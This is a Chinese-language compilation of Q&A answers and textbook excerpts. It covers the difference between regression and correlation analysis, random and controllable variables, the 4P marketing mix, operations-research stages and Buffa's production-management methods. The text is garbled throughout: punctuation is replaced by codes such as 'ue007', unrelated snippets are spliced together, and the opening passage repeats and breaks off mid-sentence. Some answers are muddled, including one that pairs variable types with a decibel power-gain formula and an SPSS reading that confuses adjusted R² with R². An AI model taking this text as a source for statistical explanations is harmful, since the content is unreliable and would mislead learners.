满意回答:回归分析与相关分析的联系ue008研究在专业上有一定联系的两个变量之间是否存在直线关系以及如何求得直线回归方程等问题ue007需进行直线相关和回归分析。从研究的目的来说ue007若仅仅为了了解两变量之间呈直线关系的密切程度和方向ue007宜选用线性相关分析ue009若仅仅为了建立由自变量推算因变量的直线回归方程ue007宜选用直线回归分析。从资料所具备的条件来说ue007作相关分析时要求两变量都是随机变量ue005如ue008人的身长与体重、血硒与发硒ue006ue009作回归分析时要求因变量是随机变量ue007自变量可以是随机的ue007也可以是一般变量(即可以事先指定变量的取值ue007如ue008用药的剂量)。在统计学教科书中习惯把相关与回归分开论述ue007其实在应用时ue007当两变量都是随机变量时ue007常需同时给出这两种方法分析的结果ue009另外ue007若用计算器实现统计分析ue007可用对相关系数的检验取代对回归系数的检验,这样到了化繁为简的目的。回归分析和相关分析都是研究变量间关系的统计学课题ue007它们的差别主要是ue0081、在回归分析中ue007y被称为因变量ue007处在被解释的特殊地位ue007而在相关分析中ue007x与y处于平等的地位ue007即研究x与y的密切程度和研究y与x的密切程度是一致的ue0092、相关分析中ue007x与y都是随机变量ue007而在回归分析中ue007y是随机变量ue007x可以是随机变量ue007也可以是非随机的ue007通常在回归模型中ue007总是假定x是非随机的ue0093、相关分析的研究主要是两个变量之间的密切程度ue007而回归分析不仅可以揭示x对y的影响大小ue007还可以由回归方程进行数量上的预测和控制。回归分析和相关分析的区别回归分析和相关分析是互相补充、密切联系的ue007相关分析需要回归分析来表明现象数量关系的具体形式ue007而回归分析则应该建立在相关分析的基础上。主要区别有:一,在回归分析中,不仅要根据变量的地位,作用不同区分出自变量和因变量,把因变量置于被解释的特殊地位,而且以因变量为随机变量,同时总假定自变量是非随机的可控变量.在相关分析中,变量间的地位是完全平等的,不仅无自变量和因变量之分,而且相关变量全是随机变量.二,相关分析只限于描述变量间相互依存关系的密切程度,至于相关变量间的定量联系关系则无法明确反映.而回归分析不仅可以定量揭示自变量对应变量的影响大小,还可以通过回归方程对变量值进行预测和控制.相关分析和回归分析是极为常用的2种数理统计方法ue007在科学研究领域有着广泛的用途。然而ue007由于这2种数理统计方法在计算方面存在很多相似之处ue007且在一些数理统计教科书中没有系统阐明这2种数理统计方法的内在差别ue007从而使一些研究者不能严格区分相关分析与回归分析。最常见的错误是:用回归分析的结果解释相关性问题。例如ue007作者将“回归直线ue005曲线ue006图”称为“相关性图”或“相关关系图”ue009将回归直线的R2(拟合度ue007或称“可决系数”)错误地称为“相关系数”或“相关系数的平方”ue009根据回归分析的结果宣称2个变量之间存在正的或负的相关关系。相关分析与回归分析均为研究2个或多个变量间关联性的方法ue007但2种数理统计方法存在本质的差别ue007即它们用于不同的研究目的。相关分析的目的在于检验两个随机变量的共变趋势ue005即共同变化的程度ue006ue007回归分析的目的则在于试图用自变量来预测因变量的值。在相关分析中ue007两个变量必须同时都是随机变量ue007如果其中的一个变量不是随机变量ue007就不能进行相关分析ue007这是相关分析方法本身所决定的。对于回归分析ue007其中的因变量肯定为随机变量ue005这是回归分析方法本身所决定的ue006ue007而自变量则可以是普通变量ue005有确定的取值ue006也可以是随机变量。如果自变量是普通变量ue007即模型Ⅰ回归分析ue007采用的回归方法就是最为常用的最小二乘法。如果自变量是随机变量ue007即模型Ⅱ回归分析ue007所采用的回归方法与计算者的目的有关。在以预测为目的的情况下ue007仍采用“最小二乘法”ue005但精度下降—最小二乘法是专为模型Ⅰ设计的ue007未考虑自变量的随机误差ue006ue009在以估值为目的ue005如计算可决系数、回归系数等ue006的情况下ue007应使用相对严谨的方法ue005如“主轴法”、“约化主轴法”或“Bartlett法”ue006。显然ue007对于回归分析ue007如果是模型Ⅱ回归分析ue007鉴于两个随机变量客观上存在“相关性”问题ue007只是由于回归分析方法本身不能提供针对自变量和因变量之间相关关系的准确的检验手段ue007因此ue007若以预测为目的ue007最好不提“相关性”问题ue009若以探索两者的“共变趋势”为目的ue007应该改用相关分析。如果是模型Ⅰ回归分析ue007就根本不可能回答变量的“相关性”问题ue007因为普通变量与随机变量之间不存在“相关性”这一概念ue005问题在于ue007大多数的回归分析都是模型Ⅰ回归分析ue004ue006。此时ue007即使作者想描述2个变量间的“共变趋势”而改用相关分析ue007也会因相关分析的前提不存在而使分析结果毫无意义。需要特别指出的是ue007回归分析中的R2在数学上恰好是Pearson积矩相关系数r的平方。因此ue007这极易使作者们错误地理解R2的含义ue007认为R2就是“相关系数”或“相关系数的平方”。问题在于ue007对于自变量是普通变量ue005即其取值有确定性的变量ue006、因变量为随机变量的模型Ⅰ回归分析ue0072个变量之间的“相关性”概念根本不存在ue007又何谈“相关系数”呢ue00a更值得注意的是ue007一些早期的教科书作者不是用R2来描述回归效果ue005拟合程度ue007拟合度ue006的ue007而是用Pearson积矩相关系数r来描述。这就更容易误导读者。随机变量:randomvariable定义ue008在一定范围内以一定的概率分布随机取值的变量。随机变量ue005randomvariableue006表示随机现象ue005在一定条件下ue007并不总是出现相同结果的现象称为随机现象ue006各种结果的变量ue005一切可能的样本点ue006。例如某一时间内公共汽车站等车乘客人数ue007电话交换台在一定时间内收到的呼叫次数等等ue007都是随机变量的实例。性质:不确定性和随机性:随机变量在不同的条件下由于偶然因素影响ue007其可能取各种不同的值ue007具有不确定性和随机性ue007但这些取值落在某个范围的概率是一定的ue007此种变量称为随机变量。随机变量可以是离散型的ue007也可以是连续型的。如分析测试中的测定值就是一个以概率取值的随机变量ue007被测定量的取值可能在某一范围内随机变化ue007具体取什么值在测定之前是无法确定的ue007但测定的结果是确定的ue007多次重复测定所得到的测定值具有统计规律性。随机变量与模糊变量的不确定性的本质差别在于ue001后者的测定结果仍具有不确定性ue001即模糊性。关于线性回归的问题。为什么一元线性回归的判定系数等于相关系数的平方ue003从各自的公式上看不存在这个关系难道只是数值近似ue003求推导。满意回答其实是关系是这样的ue002相关系数的值=判定系数的平方根ue001符号与x的参数相同。只是你没发现而已。他们用不同的表达式表达出来了。所以不能一眼看出来ue001推导有些复杂。但是ue001他们在概念上有明显区别ue001相关系数建立在相关分析基础之上ue001研究两个变量之间的线性相关关系。而判定系数建立在回归分析基础之上ue001研究一个随机变量对别一个随机变量的解释程度。一元回归分析中的决定系数spss一元回归分析结果解读我运用SPSS软件对自变量和因变量进行了回归分析ue001得到以下结果ue002R=0.378ADJUSTEDRSQUARE=0.058STD.ERROROFESTIMATE=2.51F=1.672SIG=0.225bete=-3.78t=-1.293这些都是什么意思啊ue00318:40满意回答R是自变量与因变量的相关系数ue001从r=0.378来看ue001相关性并不密切ue001是否相关性显著由于缺乏sig值无法判断。Rsquare就是回归分析的决定系数ue001说明自变量和因变量形成的散点与回归曲线的接近程度ue001数值介于0和1之间ue001这个数值越大说明回归的越好ue001也就是散点越集中于回归线上。从你的结果来看ue001R2=0.058ue001说明回归的不好。Sig值是回归关系的显著性系数ue001当他0.05ue001说明二者之间用当前模型进行回归没有统计学支持ue001应该换一个模型来进行回归。其它的ue003不懂ue001我也不看他们。总之ue001你的回归不好ue001建议换一个模型。变量之间是非线性的ue004有必要求相关系数吗?如题ue004要分析变量Z分别与变量X、Y之间的相关关系ue004但是Z与X的散点图呈非线性ue004Z与Y的散点图呈线性ue004我需要比较X、Y两个变量对Z产生的影响。那么分别求Z与X、Z与Y的相关关系数还有意义吗ue007回答:当研究ue005因变量z与自变量x、y之间的相关关系时ue004应当利用偏相关系数和复相关系数ue005若z是x,y的函数:z=z(x,y)1.偏相关系数ue005在z中去掉y的影响ue004算出对x的相关系数ue004就是z对x的偏相关系数ue002由于过程复杂仅简单说一下ue003ue004在z中去掉x的影响ue004算出对y的相关系数ue004就是z对y的偏相关系数。如果这两个偏相关系数的绝对值都接近1ue004表明ue005x、y对z有显著的影响ue006若z对x的偏相关值大ue004对y的值小ue004那么ue004x对z的影响大ue004y对z的影响小。2.复相关系数ue005在z中去掉噪声ue002全部的除x、y之外的一切干扰ue003ue004算出的相关系数叫复相关系数ue004它的值接近于1表明ue005x、y是对z的主要影响因素ue004除此之外的因素很小。3.总体判断可用复相关系数ue004个别判断可用偏相关系数4.对多元函数做相关分析时ue004简单的相关系数作用不大了ue004得采用复、偏相关系数分析。回答:一般来说ue004生活中各个变量之间的关系没有严格的线性。而相关系数就是说明近似线性的程度。所以有必要求相关系数ue004再判断两个变量之间的关系是否可以看成是近似线性的。所以ue004是有意义的。但是如果完全呈非线性ue004可以一眼看出来ue004那么求不求都无所谓了。复相关系数定义一个要素或变量同时与几个要素或变量之间的相关关系。复相关系数是度量复相关程度的指标ue004它可利用单相关系数和偏相关系数求得。复相关系数越大ue004表明要素或变量之间的线性相关程度越密切。复相关系数(多重相关系数)ue005多重相关的实质就是Y的实际观察值与由p个自变量预测的值的相关。前面计算的确定系数是Y与相关系数的平方ue004那么复相关系数就是确定系数的平方根。复相关系数的计算复相关系数是测量一个变量与其他多个变量之间线性相关程度的指标。它不能直接测算ue004只能采取一定的方法进行间接测算。为了测定一个变量y与其他多个变量X1,X2,,Xk之间的相关系数ue004可以考虑构造一个关于X1,X2,,Xk的线性组合ue004通过计算该线性组合与y之间的简单相关系数作为变量y与X1,X2,,Xk之间的复相关系数。如何消除多重共线性从而计算因变量和各个自变量之间相关系数?回答:消除多重共线性的方法ue0051.逐步回归ue0042.主成分回归ue0043.零回归~

不可控变量或扰动变量、控制变量、状态变量。根据作业帮显示功率倍增的变量的类型可分为不可控变量或扰动变量、控制变量、状态变量；它的计算公式是:Pout除以Pin等于10^(Gdb除以10)其中，Pout是输出功率，Pin是输入功率，Gdb是增益，单位为dB。功率是指物体在单位时间内所做的功的多少，即功率是描述做功快慢的物理量。功的数量一定，时间越短，功率值就越大。

营销策略营销战略规定的目标市场和相关的营销组合。 这是一个大局，什么是公司将在一些市场。 目标市场目标市场----一个相当均匀（类似）集团客户其中一家公司要提出上诉。 营销组合营销组合----可控变量公司拼为了满足这一目标群体。

管理学、经济学、应用数学等专业考试科目包括运筹学。运筹学经常用于解决现实生活中的复杂问题，特别是改善或优化现有系统的效率。运筹学是近代应用数学的一个分支，主要研究如何将生产、管理等事件中出现的运筹问题加以提炼，然后利用数学方法进行解决。运筹学研究领域跨应用数学和形式科学，利用像是统计学、数学模型和算法等方法，去寻找复杂问题中的最佳或近似最佳的解答。应用运筹学处理问题时分为5个阶段：1、规定目标和明确问题：包括把整个问题分解成若干子问题，确定问题的尺度、有效性度量、可控变量和不可控变量，以及用来表示变量界限和变量间关系的常数和参数。2、收集数据和建立模型：包括定义关系、经验关系和规范关系。3、求解模型和优化方案：包括确定求解模型的数学方法，程序设计和调试，仿真运行和方案选优。4、检验模型和评价解答：包括检验模型的一致性、灵敏度、似然性和工作能力，并用试验数据来评价模型的解。一致性是指主要参数变动时（尤其是变到极值时）模型得出的结果是否合理；灵敏度是指输入发生微小变化时输出变化的相对大小是否合适；似然性是指对于真实数据的案例，模型是否适应；工作能力则是指模型是否容易解出，即在规定时间内算出所需的结果。5、方案实施和不断优化：包括应用所得的解解决实际问题，并在方案实施过程中发现新的问题和不断进行优化。上述5个阶段往往需要交叉进行，不断反复。以上内容参考：百度百科-运筹学

　　企业销售环节的财务管理包括：　　一. 设计市场营销组合　　企业在确定目标市场和进行市场定位之后，市场营销管理过程就进入第三阶段——设计市场营销组合。市场营销组合是指企业用于追求目标市场预期销售量水平的可控营销变量的组合。营销组合中包含的可控变量很多，可以概括四个基本数量，即，产品、价格、地点和促销。　　市场营销组合因素对企业来说都是可控因素，即企业根据目标市场的需求，可能自主决定产品结构、产品价格、选择分销渠道和促销方式，但这种自主权是相对的，要受到自身资源和目标的制约及各种微观和客观因素的影响。　　二.、执行和控制市场营销计划　　企业市场营销管理的第四步是执行的控制市场营销计划，只有有效地执行计划，才能实现企业的战略任务，因些这是营销过程中极其重要的步骤：　　三.市场营销计划的执行　　市场营销计划是企业整体战略规划在营销领域的具体化，是企业的一种职能计划。其执行过程包括五个方面：　　1、制定详细的行动方案。为了有效地实施营销战略，应明确营销战略实施的关键性决策和任务，并将执行这些决策和任务的责任落实到个人或小组。　　2、 建立组织结构。不同的企业其任务不同，需要建立不同的组织结构。组织结构必须与企业自身特点和环境相适应，规定明确的职权界限和信息沟通渠道，协调各部门和人员的行动。　　3、设计决策和报酬制度。科学的决策体系是企业成败的关键，而合理的奖罚制度能充分调动人的积极性，充分发挥组织效应。　　开发并合理调配人力资源。企业的任何活动都是由人来开展的，人员的考核、选拔、安置、培训和激励问题对企业至关重要。　　4、建立适当的企业文化和管理风格。企业文化是指企业内部人员共同遵循的价值标准和行为准则，对企业员工起着凝聚和导向作用。企业文化与管理风格相联系，一旦形成，对企业发展会产生持续、稳定的影响。　　市场营销计划的控制　　在营销计划的执行过程中，可能会出现些意想不到的问题，需要一个控制系统来保证营销目标的实现。营销控制主要有年度计划控制、盈利能力控制、效率控制和战略控制。　　年度计划控制是企业在本年度内采取制定标准、绩效测量、因果分析、改正行动的控制步骤，检查实际绩效与计划之间是否有偏差，并采取改进措施，以确保营销计划的实现与完成。　　盈利能力控制。运用盈利能力控制来测定不同产品、不同销售区域、不同顾客群体、不同渠道以及不同订货规模的盈利能力。帮助管理人员决定各种顾客群体活动是否扩展、减少或取消。控制指标有销售利润率、资产收益率、存货周转率等。　　效率控制包括销售人员效率控制、广告效率控制、促销效率控制和分销效率控制，通过对这些环节的控制以保证营销组合因素功能执行的有效性。　　战略控制是企业采取一系列行动，使实际市场营销工作与原规划尽可能一致。在控制中通过不断评审和信息反馈，对战略进行不断的修正。战略控制必须根据最新的情况重新评估计划和进展，对企业来说，这是难度最大的控制。

随机变量。血压属于随机自变量，。农作物的亩产量与施肥量、 血压与年龄之间的这种关系称为相关关系， 在这些变量中， 施肥量、 年龄是可控变量， 亩产量、 血压是不可控的。

我不劝人转行，也不劝人留下。我只想说去控制自己能控制的部分。根据外部条件的变化，控制可控变量，实现目标。做新一代的机械人，学科交叉才是未来趋势。如果说传统机械，那一定是夕阳产业，但是对于机械行业，我只想说，无论是物联网时代还是AI来临，这绝对不是夕阳产业。回想学生时代学工图，建建模型，建模拿过某设计大赛的奖，大家是不是都感觉自己很牛，那种努力学习了，奋斗了，付出了，回报和收获的心情自然是愉悦和快乐的。未来不管是物联网还是AI产品都需要有结构设计，你在设计一个结构的时候如何检测它的可靠性，凭经验么？凭的是计算，是分析，各种曲柄，转轴能带动多少的力和弯矩，扭矩，这凭的是经验么？凭的也是计算分析。现在是计算机时代了，同学们，用matlab，解矩阵，算模态，算有限元离散，都是需要机械工程师解决的问题。要做新一代的机械人，好好总结过去经过时间的积淀和实践的印证的经验，把它转化成自己的优势，仔细想想个人的优势，结合目前行业的发展趋势和大环境，顺势而为。新的时代，新的机遇，新的挑战，不能墨守过去的领地，需要积极学习新的知识，顺应时代发展需求，学科交叉才是未来趋势。无论未来物联网和AI如何发展，你都有立足之本，不会被时代淘汰。

产品（Product）：注重开发的功能，要求产品有独特的卖点，把产品的功能诉求放在第一位。价格(Price)：根据不同的市场定位，制定不同的价格策略，产品的定价依据是企业的品牌战略，注重品牌的含金量。分销(Place)：企业并不直接面对消费者，而是注重经销商的培育和销售网络的建立，企业与消费者的联系是通过分销商来进行的。促销(Promotion)：企业注重销售行为的改变来刺激消费者，以短期的行为（如让利，买一送一，营销现场气氛等等）促成消费的增长，吸引其他品牌的消费者或导致提前消费来促进销售的增长。

自变量：可以改变的量（上司的心情） 因变量：随着自变量改变而改变的量（员工的心情） 可控变量：可以通过某些条件控制的变量（控制饭量改变体重） U0001f60cU0001f60c

【答案】：影响群体交流效率的可控变量有：领导风格、群体的相互影响与角色、群体效率一、领导风格民主的;独裁的;自由放任的。二、群体的相互影响与角色1、相互影响模型2、群体角色和行为分析（1）任务角色；（2）群体建设和维持角色；（3）任务和维持双重角色;（4）无功能行为的类型。三、群体效率低效率的会议原因有:1、会议目的不明确2、会议没必要召开3、开会的人没有做好准备4、不应该出现的人出现了5、时间不合适6、地点不合适7、与会者不能正确地参与8、糟糕的主席

C.切削速度

伯法认为，管理科学中用到的关于生产和业务管理中的各种分析方法，不外是在遵循科学方法的基础上利用各种模型，并且以这些模型来表示所研究的系统整体或某些分支部分。在分析各个领域中的问题时，首先需确定研究的系统边界，这样才能划定研究的范围。确定范围的指导原则是准确判断哪些因素或变量可能对所研究的系统产生影响。一般来说，问题的界限或范围越宽，出现次优化的可能性就越少。 其次是构造模型。构造模型时，应该与实际的生产情况相适应，抽掉一些次要的因素，具体分析对生产过程有影响的因素，同时需要考虑到可控因素与不可控因素的关系，进而确定使用哪一种模型。模型的选择主要是根据因素间的关系和作用来决定。分析方法中必须确定衡量效率的尺度，建立起一套行之有效的标准，来衡量生产行动中各种可供选择方案的效果。这些方面的衡量尺度可以包含利润、贡献、总成本、增量成本、机器停工时间、机器利用率、劳动成本、劳动力利用率、产品单位数量和流程时间等等。 所有运用数量方法研究生产问题的模型，都可以概况为一个公式： E=f(xi，yj)。其中E为效率，f代表函数关系，x代表可控变量，y代表非可控变量。可控变量是指那些可以在很大程度上按照管理者的意愿操纵调节的因素。非可控变量是指那些管理者不能控制，至少是不在所限定的问题范围内的因素。这个公式的含义为：E(效率)可以表示为那些限定该系统的变量的函数。模型建立起来后，就可以用E作为衡量生产行动中各种可供选择方案效率的尺度，并在分析的基础上产生出可供选择的各种方案，并对这些可供选择的方案做出评价。 伯法列出的分析方法主要有：成本分析、线性规划、排队模型、模拟技术、统计分析、网络计划模型、启发式模型、计算机探索求解方法、图解和图像分析等。这些方法在生产系统的各个方面都有着相应的用途。成本分析 成本分析是最常用的分析方法。这种方法以关于不同成本因素的特性知识为依据，具有多种形式。它并不是一大堆会计数字的简单堆积，而是经营状况的数据表现。从相关的数字中，管理者能够获取有效的信息。管理者并不关心抽象的成本，他们感兴趣的是自己考虑的各种可供选择的方案中涉及到的具体成本变化。成本分析的基本方法是损益平衡分析法，即利用经营规模变化时不同成本在变化上的差别来进行分析。 增量成本分析法是最有价值的简单分析方法之一。它仅仅用来研究那些受到可能会采用的方针或行动影响的成本。伯法指出，对成本进行分析，并不是要计算出每一个可供选择方案的运行总成本，而是只研究不同方案相比较时有差别的具体成本。这些成本主要指的是存货成本、调整劳动力成本、加班加点费和外包成本。增量成本分析在生产系统分析的各个领域内被广泛应用，通常在线性规划和排队分析模型中很常见。 线性规划 线性规划的实质是最优化，即在满足即定的约束条件情况下，按照某一衡量指标，来寻求最优方案的数学方法。线性规划是非常重要的通用模型，主要用来解决如何将有限的资源进行合理配置，进而在限定条件内获得最大效益的问题。线性规划被广泛应用于工业、农业、管理和军事科学等各个领域，是现代管理与决策者最常用的一个有效工具。在生产中决定多个品种的最优构成问题、库存控制问题、原料供应问题等等，都可以采用线性规划。线性规划在实际运用中，往往存在着求解困难，对此，一般采用“单纯形法”来解决。 排队模型 很多生产问题都会或多或少地涉及到排队。只要在生产过程中存在随机分布现象，就肯定会产生排队。各种库存实际上就是对排队的缓冲。完全的均衡分布在现实中是不存在的。在这一类问题中，会在随机不定的时间间隔内遇到需要某种服务的人、部件或机器。为满足这种服务所需要的活动，往往会花长短不一的时间。在一定的到达率和服务率的条件下，可以运用数学方法计算并安排排队问题。在当代，排队分析被广泛应用在诸如通讯系统、交通系统、生产系统以及计算机管理系统等服务系统上。排队论提供了一种数学手段，能够预测某个特定排队的大概长度和大概延误时间，以及其他相关重要数据，包括排队场地安排、优先服务处理、排队成本控制、排队长短与发生事故的关系等等。掌握这些信息，会使人们更有针对性地解决相关的随机分布问题，做出明智的决策。 模拟技术 生产管理问题的模拟技术是一项迅速成长的技术。尽管模拟所依据的基本观念很早就有，但模拟技术的迅速成长实际上是由高速的计算机发展带动前进的。这种方法是运用数理模型来进行模拟试验，用计算机处理相关数据，以选定的效率标准E作为衡量尺度，观察和检测各项变量在模型中的运行结果。这种模型是试验性的，不一定能产生出最优答案。模拟方法的长处是可以在各种可供选择的方案之间进行比较，实际上是一种系统地通过反复试验以求解决复杂问题的方法。 统计分析 统计分析为精确处理数据提供了一套方法结构。它不仅能够根据所建立的预测模型得出各种结论，而且能够估计到预测可能发生错误的风险有多大。统计分析经常应用于假设检验，能够使我们处理某一系统中的因素或变量在测定数值上的巨大变动问题，而这些因素或变量有可能规定着相关系统的范围。运用统计推断的方法，可以对相关系统的问题做出结论，而且可能是很精确的结论。在生产和业务管理中，统计分析方法本身有着广大的独立应用领域。统计原理作为分析方法的一种通用工具，常常能对其他分析方法的应用提供帮助，并在总体分析工作中做出贡献。 网络计划模型 第二次世界大战后，研究与发展工作和其他的大型一次性工程项目在经济活动中越来越重要，尤其是导弹工程和太空计划的庞大规模和复杂性，要求用特殊方法来提供工程规划，安排进度并进行控制，这些促成了网络计划的诞生。网络计划的基本原理是，把需要完成的工作以网络的形式做出计划，工作中涉及到的所有事件都列入网络，这些事件的分布安排应按照施工操作的时序和阶段间的相互依赖关系进行。根据网络计划模型，可以计算出作业进度的具体数字，从而使管理者对作业的计划进度了如指掌，能更灵活合理地支配时间。网络计划技术采用的形式是独特的，尤其是“关键线路”的观念，负荷平衡、最低费用法和有限资源的安排。这些互相联系的概念，能够给工程项目的管理提供合理的依据。网络计划模型有两大具体方法，一是关键线路法，一是计划评审法。 关键线路法(CPM，Critical Path Method)本来是20世纪50年代杜邦公司的一种内部计划方法，曾用于化工厂维修工程的计划和管理，进而被广泛应用到很多工程之中。几乎在同一时期，美国海军也致力于发展一种规划和管理北极星导弹研制生产的方法，这一项目要对近三千个订立合同的单位实现计划和管理，工作量之大可想而知。其结果就是使计划评审法(PERT，Program Evaluation and Review Technique)应运而生。杜邦公司运用CPM，使路易维尔工厂的维修工程项目的所需时间从125小时下降为78小时;美国海军运用PERT，使完成北极星导弹的研制开发比预定时间缩短了两年。尽管这两种方法在细节上有所差别，但二者所依据的原理异曲同工。二者的差别，恰恰能说明管理的现实需要对技术方法的影响。关键线路法是从具有大量实际经验的维修工程作业中发展起来的，因而其各项工作的活动时间是已知的，线路上的时间是确定的;计划评审法则是从探索研究和发展的环境中产生的，因而其各种工作的活动时间具有很高的不确定性，所以它用概率方法来形成线路上的预期时间。在如何制定箭头图的细节方面，二者存在一定的差异。关键线路法所形成的网络系统略微简单些，它用节点表示事件活动，用箭头表示项目中各项事件的顺序。计划评审法则需要用变量来安排时间。 网络计划模型以紧凑的形式概括了很多重要信息。从网络计划中，能够很容易地计算出诸如最早和最晚的完成时间、活动进度安排中可利用的时差、关键线路等等。给定了活动网络、关键线路和计算进度表的统计资料，就能给管理者提供安排工程的具体计划。由于存在事件活动本身的时差，以及项目完成日期上的时差，就能够提供计划进度安排上的灵活性，得出不同的进度安排方案。然后，可以从资源负荷平衡的角度来比较运用情况，还可以通过活动费用的高低来评价方案是否有价值。不同的活动，对资源运用情况变化的响应是不同的，有些活动可能对资源的变化没有任何反应，甚至放慢进度有可能会比正常进度耗费更多。由于不同活动具有不同的“费用-时间”特性，因而就有可能对费用进行权衡。如果遇到有限的关键资源供给问题，由于资源的稀缺性，就需要从恰当安排有限资源的角度来审查计划方案，并利用存在的时差降低资源消耗，甚至可以在时间和资源利用之间进行权衡，采用延长工期的方法。 启发式模型 所谓启发式，本身就意味着能够引导管理者去寻求答案。就管理上的意义而言，启发式模型是指用于决策的指导原则。或许，这些指导原则算不上是最优的，但是在被人们应用时是始终如一的，而且是有效的，能够避免更加复杂的问题求解程序。在这里，伯法明显借鉴了西蒙的满意型决策思路，他强调，有很多问题，我们或没有时间或没有兴趣去探究更彻底的答案，但是，现有的原则足以使我们找到可行方案。或许它不一定是绝对正确的，但这种简单的法则是最适用的。管理者碰到的问题，大多数都很复杂，如果要进行严密精确的分析会步履艰难，很难用数学的方法来求解，但又不得不寻求答案，这时，凭借经验法则形成的逻辑依据就不失为可用的最佳方法。所谓启发式模型，就是这样一套符合逻辑的和具有连贯性的法则。从某种意义上来说，启发式方法是管理工作中历史最悠久的思考方法。通过这种方法，以有可能放弃最好的解决方案为代价，减少了探索的工作量。在业务管理中，这种方法大量用于装配线的平衡、设备布置、车间作业进度计划、仓库位置选择、存货控制以及一次性工程项目的进度安排等领域。 计算机探索求解方法 对于某些非常复杂的问题，利用计算机探索求解不失为一剂良药。计算机技术的发展促进了启发式模型的应用，运用计算机可以对某些准则函数的一组有限的可行试解方案按顺序进行审查。通过规定每一个独立变量的数值，计算准则函数并记录下有关的结果，就可以得出一个试验评定值。把每一个试验评定值与以往得到的最佳值进行比较，若发现它有着明显的优越性，就采用它而摒弃先前的最佳值，以此类推，直至无法寻求优化解为止。这就是登山式的逐步探索法。在这一基础上，计算机就能按照预定的工作程序，把已发现的各项独立变量的最佳组合方案打印出来。采用计算机直接探索方法的优点在于建立了准则函数模型，它没有线性数学形式的局限，突破了变量的数目限制。在业务管理上，计算机探索求解方法已被用于制定总体计划和作业进度计划问题，还被用于解决资源有限的工作安排问题。计算机探索求解方法在企业管理中具有更大的灵活性，它不需要精密的模型设计和严格的数学形式，所以比较自由，能够在成本模型中更贴近现实。因此，伯法认为计算机探索求解方法在现实管理中具有越来越大的用途。 图解和图像分析 图解和图像分析法是在生产系统中所用的传统分析方法，这种分析手段中最重要的形式就是表示活动顺序或时间安排的流程图。

满意回答:回归分析与相关分析的联系ue008研究在专业上有一定联系的两个变量之间是否存在直线关系以及如何求得直线回归方程等问题ue007需进行直线相关和回归分析。从研究的目的来说ue007若仅仅为了了解两变量之间呈直线关系的密切程度和方向ue007宜选用线性相关分析ue009若仅仅为了建立由自变量推算因变量的直线回归方程ue007宜选用直线回归分析。从资料所具备的条件来说ue007作相关分析时要求两变量都是随机变量ue005如ue008人的身长与体重、血硒与发硒ue006ue009作回归分析时要求因变量是随机变量ue007自变量可以是随机的ue007也可以是一般变量(即可以事先指定变量的取值ue007如ue008用药的剂量)。在统计学教科书中习惯把相关与回归分开论述ue007其实在应用时ue007当两变量都是随机变量时ue007常需同时给出这两种方法分析的结果ue009另外ue007若用计算器实现统计分析ue007可用对相关系数的检验取代对回归系数的检验,这样到了化繁为简的目的。回归分析和相关分析都是研究变量间关系的统计学课题ue007它们的差别主要是ue0081、在回归分析中ue007y被称为因变量ue007处在被解释的特殊地位ue007而在相关分析中ue007x与y处于平等的地位ue007即研究x与y的密切程度和研究y与x的密切程度是一致的ue0092、相关分析中ue007x与y都是随机变量ue007而在回归分析中ue007y是随机变量ue007x可以是随机变量ue007也可以是非随机的ue007通常在回归模型中ue007总是假定x是非随机的ue0093、相关分析的研究主要是两个变量之间的密切程度ue007而回归分析不仅可以揭示x对y的影响大小ue007还可以由回归方程进行数量上的预测和控制。回归分析和相关分析的区别回归分析和相关分析是互相补充、密切联系的ue007相关分析需要回归分析来表明现象数量关系的具体形式ue007而回归分析则应该建立在相关分析的基础上。主要区别有:一,在回归分析中,不仅要根据变量的地位,作用不同区分出自变量和因变量,把因变量置于被解释的特殊地位,而且以因变量为随机变量,同时总假定自变量是非随机的可控变量.在相关分析中,变量间的地位是完全平等的,不仅无自变量和因变量之分,而且相关变量全是随机变量.二,相关分析只限于描述变量间相互依存关系的密切程度,至于相关变量间的定量联系关系则无法明确反映.而回归分析不仅可以定量揭示自变量对应变量的影响大小,还可以通过回归方程对变量值进行预测和控制.相关分析和回归分析是极为常用的2种数理统计方法ue007在科学研究领域有着广泛的用途。然而ue007由于这2种数理统计方法在计算方面存在很多相似之处ue007且在一些数理统计教科书中没有系统阐明这2种数理统计方法的内在差别ue007从而使一些研究者不能严格区分相关分析与回归分析。最常见的错误是:用回归分析的结果解释相关性问题。例如ue007作者将“回归直线ue005曲线ue006图”称为“相关性图”或“相关关系图”ue009将回归直线的R2(拟合度ue007或称“可决系数”)错误地称为“相关系数”或“相关系数的平方”ue009根据回归分析的结果宣称2个变量之间存在正的或负的相关关系。相关分析与回归分析均为研究2个或多个变量间关联性的方法ue007但2种数理统计方法存在本质的差别ue007即它们用于不同的研究目的。相关分析的目的在于检验两个随机变量的共变趋势ue005即共同变化的程度ue006ue007回归分析的目的则在于试图用自变量来预测因变量的值。在相关分析中ue007两个变量必须同时都是随机变量ue007如果其中的一个变量不是随机变量ue007就不能进行相关分析ue007这是相关分析方法本身所决定的。对于回归分析ue007其中的因变量肯定为随机变量ue005这是回归分析方法本身所决定的ue006ue007而自变量则可以是普通变量ue005有确定的取值ue006也可以是随机变量。如果自变量是普通变量ue007即模型Ⅰ回归分析ue007采用的回归方法就是最为常用的最小二乘法。如果自变量是随机变量ue007即模型Ⅱ回归分析ue007所采用的回归方法与计算者的目的有关。在以预测为目的的情况下ue007仍采用“最小二乘法”ue005但精度下降—最小二乘法是专为模型Ⅰ设计的ue007未考虑自变量的随机误差ue006ue009在以估值为目的ue005如计算可决系数、回归系数等ue006的情况下ue007应使用相对严谨的方法ue005如“主轴法”、“约化主轴法”或“Bartlett法”ue006。显然ue007对于回归分析ue007如果是模型Ⅱ回归分析ue007鉴于两个随机变量客观上存在“相关性”问题ue007只是由于回归分析方法本身不能提供针对自变量和因变量之间相关关系的准确的检验手段ue007因此ue007若以预测为目的ue007最好不提“相关性”问题ue009若以探索两者的“共变趋势”为目的ue007应该改用相关分析。如果是模型Ⅰ回归分析ue007就根本不可能回答变量的“相关性”问题ue007因为普通变量与随机变量之间不存在“相关性”这一概念ue005问题在于ue007大多数的回归分析都是模型Ⅰ回归分析ue004ue006。此时ue007即使作者想描述2个变量间的“共变趋势”而改用相关分析ue007也会因相关分析的前提不存在而使分析结果毫无意义。需要特别指出的是ue007回归分析中的R2在数学上恰好是Pearson积矩相关系数r的平方。因此ue007这极易使作者们错误地理解R2的含义ue007认为R2就是“相关系数”或“相关系数的平方”。问题在于ue007对于自变量是普通变量ue005即其取值有确定性的变量ue006、因变量为随机变量的模型Ⅰ回归分析ue0072个变量之间的“相关性”概念根本不存在ue007又何谈“相关系数”呢ue00a更值得注意的是ue007一些早期的教科书作者不是用R2来描述